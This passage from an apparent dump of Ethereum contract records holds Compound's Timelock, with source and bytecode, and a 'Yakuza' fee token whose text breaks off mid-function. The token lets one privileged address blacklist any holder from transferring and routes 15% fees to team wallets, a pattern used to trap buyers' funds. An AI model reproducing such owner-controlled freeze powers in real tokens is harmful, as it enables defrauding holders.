{"success": true, "error": null, "results": {}}
1,261
0xc3024eb68a02aca70289ba17dbf3321a0c67c100
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * Copyright 2020 Compound Labs, Inc. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * 3. Neither the name of the copyright holder nor the names of its contributors * may be used to endorse or promote products derived from this software without * specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ contract Timelock { using SafeMath for uint256; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint256 indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta); uint256 public constant GRACE_PERIOD = 14 days; uint256 public constant MINIMUM_DELAY = 1 days; uint256 public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint256 public delay; mapping(bytes32 => bool) public queuedTransactions; constructor(address admin_, uint256 delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; } receive() external payable {} function setDelay(uint256 delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction( address target, uint256 value, string memory signature, bytes memory data, uint256 eta ) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction( address target, uint256 value, string memory signature, bytes memory data, uint256 eta ) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction( address target, uint256 value, string memory signature, bytes memory data, uint256 eta ) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call{value: value}(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint256) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
0x6080604052600436106100d65760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e21461064a578063e177246e1461065f578063f2b0653714610689578063f851a440146106c7576100dd565b80636a42b8f81461060b5780637d645fab14610620578063b1b43ae514610635576100dd565b80633a66f901116100b05780633a66f901146102fd5780634dd18bf51461046d578063591fcdfe146104ad576100dd565b80630825f38f146100e25780630e18b681146102a857806326782247146102bf576100dd565b366100dd57005b600080fd5b610233600480360360a08110156100f857600080fd5b73ffffffffffffffffffffffffffffffffffffffff8235169160208101359181019060608101604082013564010000000081111561013557600080fd5b82018360208201111561014757600080fd5b8035906020019184600183028401116401000000008311171561016957600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156101bc57600080fd5b8201836020820111156101ce57600080fd5b803590602001918460018302840111640100000000831117156101f057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955050913592506106dc915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561026d578181015183820152602001610255565b50505050905090810190601f16801561029a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102b457600080fd5b506102bd610d1f565b005b3480156102cb57600080fd5b506102d4610e07565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561030957600080fd5b5061045b600480360360a081101561032057600080fd5b73ffffffffffffffffffffffffffffffffffffffff8235169160208101359181019060608101604082013564010000000081111561035d57600080fd5b82018360208201111561036f57600080fd5b8035906020019184600183028401116401000000008311171561039157600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156103e457600080fd5b8201836020820111156103f657600080fd5b8035906020019184600183028401116401000000008311171561041857600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610e23915050565b60408051918252519081900360200190f35b34801561047957600080fd5b506102bd6004803603602081101561049057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611180565b3480156104b957600080fd5b506102bd600480360360a08110156104d057600080fd5b73ffffffffffffffffffffffffffffffffffffffff8235169160208101359181019060608101604082013564010000000081111561050d57600080fd5b82018360208201111561051f57600080fd5b8035906020019184600183028401116401000000008311171561054157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561059457600080fd5b8201836020820111156105a657600080fd5b803590602001918460018302840111640100000000831117156105c857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061124d915050565b34801561061757600080fd5b5061045b61153b565b34801561062c57600080fd5b5061045b611541565b34801561064157600080fd5b5061045b611548565b34801561065657600080fd5b5061045b61154f565b34801561066b57600080fd5b506102bd6004803603602081101561068257600080fd5b5035611556565b34801561069557600080fd5b506106b3600480360360208110156106ac57600080fd5b5035611699565b604080519115158252519081900360200190f35b3480156106d357600080fd5b506102d46116ae565b60005460609073ffffffffffffffffffffffffffffffffffffffff16331461074f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603881526020018061174a6038913960400191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156107c25781810151838201526020016107aa565b50505050905090810190601f1680156107ef5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561082257818101518382015260200161080a565b50505050905090810190601f16801561084f5780820380516001836020036101000a031916815260200191505b50604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081840301815291815281516020928301206000818152600390935291205490995060ff1697506108f89650505050505050576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d81526020018061189d603d913960400191505060405180910390fd5b826109016116ca565b1015610958576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260458152602001806117ec6045913960600191505060405180910390fd5b61096583621275006116ce565b61096d6116ca565b11156109c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260338152602001806117b96033913960400191505060405180910390fd5b600081815260036020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690558451606090610a08575083610abe565b85805190602001208560405160200180837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260040182805190602001908083835b60208310610a8657805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101610a49565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b600060608973ffffffffffffffffffffffffffffffffffffffff1689846040518082805190602001908083835b60208310610b2857805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101610aeb565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610b8a576040519150601f19603f3d011682016040523d82523d6000602084013e610b8f565b606091505b509150915081610bea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611980603d913960400191505060405180910390fd5b8973ffffffffffffffffffffffffffffffffffffffff16847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610c74578181015183820152602001610c5c565b50505050905090810190601f168015610ca15780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610cd4578181015183820152602001610cbc565b50505050905090810190601f168015610d015780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b60015473ffffffffffffffffffffffffffffffffffffffff163314610d8f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806118da6038913960400191505060405180910390fd5b60008054337fffffffffffffffffffffffff0000000000000000000000000000000000000000918216178083556001805490921690915560405173ffffffffffffffffffffffffffffffffffffffff909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b6000805473ffffffffffffffffffffffffffffffffffffffff163314610e94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061194a6036913960400191505060405180910390fd5b610ea8600254610ea26116ca565b906116ce565b821015610f00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260498152602001806119bd6049913960600191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610f73578181015183820152602001610f5b565b50505050905090810190601f168015610fa05780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610fd3578181015183820152602001610fbb565b50505050905090810190601f1680156110005780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508673ffffffffffffffffffffffffffffffffffffffff16817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156110d85781810151838201526020016110c0565b50505050905090810190601f1680156111055780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015611138578181015183820152602001611120565b50505050905090810190601f1680156111655780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b3330146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806119126038913960400191505060405180910390fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b60005473ffffffffffffffffffffffffffffffffffffffff1633146112bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260378152602001806117826037913960400191505060405180910390fd5b60008585858585604051602001808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015611330578181015183820152602001611318565b50505050905090810190601f16801561135d5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015611390578181015183820152602001611378565b50505050905090810190601f1680156113bd5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff16817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561149557818101518382015260200161147d565b50505050905090810190601f1680156114c25780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156114f55781810151838201526020016114dd565b50505050905090810190601f1680156115225780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b6201518081565b6212750081565b3330146115ae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611a066031913960400191505060405180910390fd5b6201518081101561160a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806118316034913960400191505060405180910390fd5b62278d00811115611666576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806118656038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60036020526000908152604090205460ff1681565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b4290565b60008282018381101561174257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea26469706673582212207bf63ccb9509b2e22f6a3e1a53af0b526b0c374edd2682daf43af1abb95a12fb64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,262
0x47b86840be1b802282b4ea671fb3f775d229ee8d
/** *Submitted for verification at Etherscan.io on 2021-09-21 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Yakuza is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Yakuza"; string private constant _symbol = "YKZ"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 15; uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9; uint256 private _routermax = 5000000000 * 10**9; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _Marketingfund; address payable private _Owner; address payable private _devWalletAddress; address payable private _Buyback; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable devFundAddr, address payable devfeeAddr, address payable depAddr, address payable buyback) { _Marketingfund = devFundAddr; _Buyback = buyback; _Owner = depAddr; _devWalletAddress = devfeeAddr; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_Marketingfund] = true; _isExcludedFromFee[_devWalletAddress] = true; _isExcludedFromFee[_Owner] = true; _isExcludedFromFee[_Buyback] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 15; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } if(from != address(this)){ require(amount <= _maxTxAmount); } require(!bots[from] && !bots[to] && !bots[msg.sender]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } // This is done to prevent the taxes from filling up in the router since compiled taxes emptying can impact the chart. // This reduces the impact of taxes on the chart. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _routermax) { contractTokenBalance = _routermax; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router) ) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _Marketingfund.transfer(amount.div(15).mul(7)); _devWalletAddress.transfer(amount.div(15).mul(7)); _Buyback.transfer(amount.div(15).mul(1)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 25000000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function setSwapEnabled(bool enabled) external { require(_msgSender() == _Owner); swapEnabled = enabled; } function manualswap() external { require(_msgSender() == _Owner); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _Owner); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public { require(_msgSender() == _Owner); for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public { require(_msgSender() == _Owner); bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 